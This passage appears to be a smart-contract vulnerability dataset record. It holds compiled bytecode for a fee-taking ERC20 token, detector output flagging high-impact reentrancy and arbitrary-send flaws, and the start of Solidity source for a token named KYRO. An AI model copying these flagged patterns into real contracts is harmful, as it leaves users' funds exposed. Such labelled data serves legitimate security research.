73ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601f5481565b61144f6118e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d390613d00565b60405180910390fd5b6000811161151f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151690613cc0565b60405180910390fd5b61154d606461153f83670de0b6b3a764000061273790919063ffffffff16565b6127b290919063ffffffff16565b601e819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601e546040516115849190613dc0565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61161e6118e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a290613d00565b60405180910390fd5b80601d60166101000a81548160ff02191690831515021790555050565b6000601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6117266118e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117aa90613d00565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611823576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181a90613c20565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611958576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194f90613d60565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119bf90613c40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611aa69190613dc0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1a90613d40565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8a90613be0565b60405180910390fd5b60008111611bd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bcd90613d20565b60405180910390fd5b611bde610d68565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c4c5750611c1c610d68565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156122b657601d60179054906101000a900460ff1615611e7f573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611cce57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611d285750601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d825750601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e7e57601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611dc86118e0565b73ffffffffffffffffffffffffffffffffffffffff161480611e3e5750601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611e266118e0565b73ffffffffffffffffffffffffffffffffffffffff16145b611e7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e7490613da0565b60405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611ec257601e54811115611ec157600080fd5b5b601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f665750601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611fbc5750601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611fc557600080fd5b601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120705750601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120c65750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156120de5750601d60179054906101000a900460ff165b1561217f5742601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061212e57600080fd5b600f4261213b9190613ef6565b601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061218a30610bc4565b9050601554811061219b5760155490505b60006014548210159050601d60159054906101000a900460ff161580156121ce5750601d60169054906101000a900460ff165b80156121d75750805b80156122315750601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561228b5750601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b156122b357612299826127fc565b600047905060008111156122b1576122b047612513565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061235d5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561236757600090505b61236f610d68565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156123dd57506123ad610d68565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156124375750601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561249c57601d60169054906101000a900460ff1661248b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248290613c60565b60405180910390fd5b61249784848484612b16565b6124a9565b6124a884848484612b16565b5b50505050565b60008383111582906124f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124ee9190613bbe565b60405180910390fd5b50600083856125069190613fd7565b9050809150509392505050565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612578600c5461256a601154866127b290919063ffffffff16565b61273790919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156125a3573d6000803e3d6000fd5b50601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6126096009546125fb601154866127b290919063ffffffff16565b61273790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612634573d6000803e3d6000fd5b50601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61269a600f5461268c601154866127b290919063ffffffff16565b61273790919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156126c5573d6000803e3d6000fd5b5050565b6000600654821115612710576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161270790613c00565b60405180910390fd5b600061271a612c46565b905061272f81846127b290919063ffffffff16565b915050919050565b60008083141561274a57600090506127ac565b600082846127589190613f7d565b90508284826127679190613f4c565b146127a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161279e90613ce0565b60405180910390fd5b809150505b92915050565b60006127f483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612c71565b905092915050565b6001601d60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561285a577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156128885781602001602082028036833780820191505090505b50905030816000815181106128c6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561296857600080fd5b505afa15801561297c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129a09190613674565b816001815181106129da577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612a6130601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6118e8565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612ac5959493929190613ddb565b600060405180830381600087803b158015612adf57600080fd5b505af1158015612af3573d6000803e3d6000fd5b50505050506000601d60156101000a81548160ff02191690831515021790555050565b600082905081612b2d57612b28612cd4565b612c26565b601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612b9057612b8b612d05565b612c25565b601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612c1b57612bee612d38565b601d60189054906101000a900460ff1615612c16576000612c0f8487612d6b565b9050809150505b612c24565b612c23612d38565b5b5b5b612c31858583612f1d565b81612c3f57612c3e6130e8565b5b5050505050565b6000806000612c5361311b565b91509150612c6a81836127b290919063ffffffff16565b9250505090565b60008083118290612cb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612caf9190613bbe565b60405180910390fd5b5060008385612cc79190613f4c565b9050809150509392505050565b6000600854148015612ce857506000601354145b15612cf257612d03565b600060088190555060006013819055505b565b600f54600e81905550600c54600b81905550600954600881905550600e54600b54612d309190613ef6565b601381905550565b600a54600881905550601054600e81905550600d54600b81905550600d54601054612d639190613ef6565b601381905550565b600080612d966064612d886012548761273790919063ffffffff16565b6127b290919063ffffffff16565b9050612dea81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461317a90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e7f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131c490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000612ed7828661317a90919063ffffffff16565b90506000479050612ee7836127fc565b600047905060008282612efa9190613fd7565b90506000811115612f0f57612f0e81613222565b5b839550505050505092915050565b600080600080600080612f2f8761328e565b955095509550955095509550612f8d86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461317a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061302285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131c490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061306e816132f6565b61307884836133b3565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516130d59190613dc0565b60405180910390a3505050505050505050565b600954600881905550600c54600b81905550600f54600e81905550600e54600b546131139190613ef6565b601381905550565b600080600060065490506000670de0b6b3a7640000905061314f670de0b6b3a76400006006546127b290919063ffffffff16565b82101561316d57600654670de0b6b3a7640000935093505050613176565b81819350935050505b9091565b60006131bc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506124af565b905092915050565b60008082846131d39190613ef6565b905083811015613218576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161320f90613ca0565b60405180910390fd5b8091505092915050565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561328a573d6000803e3d6000fd5b5050565b60008060008060008060008060006132ab8a6008546013546133ed565b92509250925060006132bb612c46565b905060008060006132ce8e8787876134ae565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000613300612c46565b90506000613317828461273790919063ffffffff16565b905061336b81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131c490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6133c88260065461317a90919063ffffffff16565b6006819055506133e3816007546131c490919063ffffffff16565b6007819055505050565b60008060008060008611613402576001613404565b855b90506000808611613416576001613418565b855b905060006134426064613434858c61273790919063ffffffff16565b6127b290919063ffffffff16565b9050600061346c606461345e858d61273790919063ffffffff16565b6127b290919063ffffffff16565b9050600061349582613487858e61317a90919063ffffffff16565b61317a90919063ffffffff16565b9050808383975097509750505050505093509350939050565b6000806000806134c7858961273790919063ffffffff16565b905060006134de868961273790919063ffffffff16565b905060006134f5878961273790919063ffffffff16565b9050600061351e82613510858761317a90919063ffffffff16565b61317a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061354a61354584613e75565b613e50565b9050808382526020820190508285602086028201111561356957600080fd5b60005b85811015613599578161357f88826135a3565b84526020840193506020830192505060018101905061356c565b5050509392505050565b6000813590506135b281614566565b92915050565b6000815190506135c781614566565b92915050565b6000813590506135dc8161457d565b92915050565b600082601f8301126135f357600080fd5b8135613603848260208601613537565b91505092915050565b60008135905061361b81614594565b92915050565b60008151905061363081614594565b92915050565b600081359050613645816145ab565b92915050565b60006020828403121561365d57600080fd5b600061366b848285016135a3565b91505092915050565b60006020828403121561368657600080fd5b6000613694848285016135b8565b91505092915050565b6000602082840312156136af57600080fd5b60006136bd848285016135cd565b91505092915050565b600080604083850312156136d957600080fd5b60006136e7858286016135a3565b92505060206136f8858286016135a3565b9150509250929050565b60008060006060848603121561371757600080fd5b6000613725868287016135a3565b9350506020613736868287016135a3565b925050604061374786828701613636565b9150509250925092565b6000806040838503121561376457600080fd5b6000613772858286016135a3565b925050602061378385828601613636565b9150509250929050565b60006020828403121561379f57600080fd5b600082013567ffffffffffffffff8111156137b957600080fd5b6137c5848285016135e2565b91505092915050565b6000602082840312156137e057600080fd5b60006137ee8482850161360c565b91505092915050565b60006020828403121561380957600080fd5b600061381784828501613621565b91505092915050565b60006020828403121561383257600080fd5b600061384084828501613636565b91505092915050565b60006138558383613861565b60208301905092915050565b61386a8161400b565b82525050565b6138798161400b565b82525050565b600061388a82613eb1565b6138948185613ed4565b935061389f83613ea1565b8060005b838110156138d05781516138b78882613849565b97506138c283613ec7565b9250506001810190506138a3565b5085935050505092915050565b6138e68161402f565b82525050565b6138f581614072565b82525050565b600061390682613ebc565b6139108185613ee5565b9350613920818560208601614084565b613929816141be565b840191505092915050565b6000613941602383613ee5565b915061394c826141cf565b604082019050919050565b6000613964602a83613ee5565b915061396f8261421e565b604082019050919050565b6000613987602683613ee5565b91506139928261426d565b604082019050919050565b60006139aa602283613ee5565b91506139b5826142bc565b604082019050919050565b60006139cd600d83613ee5565b91506139d88261430b565b602082019050919050565b60006139f0601b83613ee5565b91506139fb82614334565b602082019050919050565b6000613a13601b83613ee5565b9150613a1e8261435d565b602082019050919050565b6000613a36601d83613ee5565b9150613a4182614386565b602082019050919050565b6000613a59602183613ee5565b9150613a64826143af565b604082019050919050565b6000613a7c602083613ee5565b9150613a87826143fe565b602082019050919050565b6000613a9f602983613ee5565b9150613aaa82614427565b604082019050919050565b6000613ac2602583613ee5565b9150613acd82614476565b604082019050919050565b6000613ae5602483613ee5565b9150613af0826144c5565b604082019050919050565b6000613b08601783613ee5565b9150613b1382614514565b602082019050919050565b6000613b2b601183613ee5565b9150613b368261453d565b602082019050919050565b613b4a8161405b565b82525050565b613b5981614065565b82525050565b6000602082019050613b746000830184613870565b92915050565b6000604082019050613b8f6000830185613870565b613b9c6020830184613b41565b9392505050565b6000602082019050613bb860008301846138dd565b92915050565b60006020820190508181036000830152613bd881846138fb565b905092915050565b60006020820190508181036000830152613bf981613934565b9050919050565b60006020820190508181036000830152613c1981613957565b9050919050565b60006020820190508181036000830152613c398161397a565b9050919050565b60006020820190508181036000830152613c598161399d565b9050919050565b60006020820190508181036000830152613c79816139c0565b9050919050565b60006020820190508181036000830152613c99816139e3565b9050919050565b60006020820190508181036000830152613cb981613a06565b9050919050565b60006020820190508181036000830152613cd981613a29565b9050919050565b60006020820190508181036000830152613cf981613a4c565b9050919050565b60006020820190508181036000830152613d1981613a6f565b9050919050565b60006020820190508181036000830152613d3981613a92565b9050919050565b60006020820190508181036000830152613d5981613ab5565b9050919050565b60006020820190508181036000830152613d7981613ad8565b9050919050565b60006020820190508181036000830152613d9981613afb565b9050919050565b60006020820190508181036000830152613db981613b1e565b9050919050565b6000602082019050613dd56000830184613b41565b92915050565b600060a082019050613df06000830188613b41565b613dfd60208301876138ec565b8181036040830152613e0f818661387f565b9050613e1e6060830185613870565b613e2b6080830184613b41565b9695505050505050565b6000602082019050613e4a6000830184613b50565b92915050565b6000613e5a613e6b565b9050613e6682826140b7565b919050565b6000604051905090565b600067ffffffffffffffff821115613e9057613e8f61418f565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613f018261405b565b9150613f0c8361405b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613f4157613f40614131565b5b828201905092915050565b6000613f578261405b565b9150613f628361405b565b925082613f7257613f71614160565b5b828204905092915050565b6000613f888261405b565b9150613f938361405b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613fcc57613fcb614131565b5b828202905092915050565b6000613fe28261405b565b9150613fed8361405b565b92508282101561400057613fff614131565b5b828203905092915050565b60006140168261403b565b9050919050565b60006140288261403b565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061407d8261405b565b9050919050565b60005b838110156140a2578082015181840152602081019050614087565b838111156140b1576000848401525b50505050565b6140c0826141be565b810181811067ffffffffffffffff821117156140df576140de61418f565b5b80604052505050565b60006140f38261405b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561412657614125614131565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f537761702064697361626c656400000000000000000000000000000000000000600082015250565b7f7465616d4665652073686f756c6420626520696e2031202d2032350000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61456f8161400b565b811461457a57600080fd5b50565b6145868161401d565b811461459157600080fd5b50565b61459d8161402f565b81146145a857600080fd5b50565b6145b48161405b565b81146145bf57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a1812086b2feb3cf6e62418a357865e5cec0ff11f82956d31e777d30470eddfe64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,078 |
0x168b8196d5d9b09ad294e8d231ee720310d89196
|
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract ERC20Basic {
uint256 public totalSupply;
bool public transfersEnabled;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 {
uint256 public totalSupply;
bool public transfersEnabled;
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev protection against short address attack
*/
modifier onlyPayloadSize(uint numwords) {
assert(msg.data.length == numwords * 32 + 4);
_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public onlyPayloadSize(2) returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(transfersEnabled);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping(address => mapping(address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3) returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(transfersEnabled);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public onlyPayloadSize(2) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract KYRO is StandardToken {
string public constant name = "KYRO";
string public constant symbol = "KR";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 3 * 10**9 * (10**uint256(decimals));
uint256 public weiRaised;
uint256 public tokenAllocated;
address public owner;
bool public saleToken = true;
event OwnerChanged(address indexed previousOwner, address indexed newOwner);
event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount);
event TokenLimitReached(uint256 tokenRaised, uint256 purchasedToken);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
function KYRO() public {
totalSupply = INITIAL_SUPPLY;
owner = msg.sender;
//owner = msg.sender; // for testing
balances[owner] = INITIAL_SUPPLY;
tokenAllocated = 0;
transfersEnabled = true;
}
// fallback function can be used to buy tokens
function() payable public {
buyTokens(msg.sender);
}
function buyTokens(address _investor) public payable returns (uint256){
require(_investor != address(0));
require(saleToken == true);
address wallet = owner;
uint256 weiAmount = msg.value;
uint256 tokens = validPurchaseTokens(weiAmount);
if (tokens == 0) {revert();}
weiRaised = weiRaised.add(weiAmount);
tokenAllocated = tokenAllocated.add(tokens);
mint(_investor, tokens, owner);
TokenPurchase(_investor, weiAmount, tokens);
wallet.transfer(weiAmount);
return tokens;
}
function validPurchaseTokens(uint256 _weiAmount) public returns (uint256) {
uint256 addTokens = getTotalAmountOfTokens(_weiAmount);
if (addTokens > balances[owner]) {
TokenLimitReached(tokenAllocated, addTokens);
return 0;
}
return addTokens;
}
/**
* If the user sends 0 ether, he receives 500tokens.
* If he sends 0.001 ether, he receives 2000tokens
* If he sends 0.005 ether he receives 22,000tokens
* If he sends 0.01ether, he receives 48,000 tokens
* If he sends 0.02ether he receives 100000tokens
* If he sends 0.05ether, he receives 270,000tokens
*/
function getTotalAmountOfTokens(uint256 _weiAmount) internal pure returns (uint256) {
uint256 amountOfTokens = 0;
if(_weiAmount == 0){
amountOfTokens = 500 * (10**uint256(decimals));
}
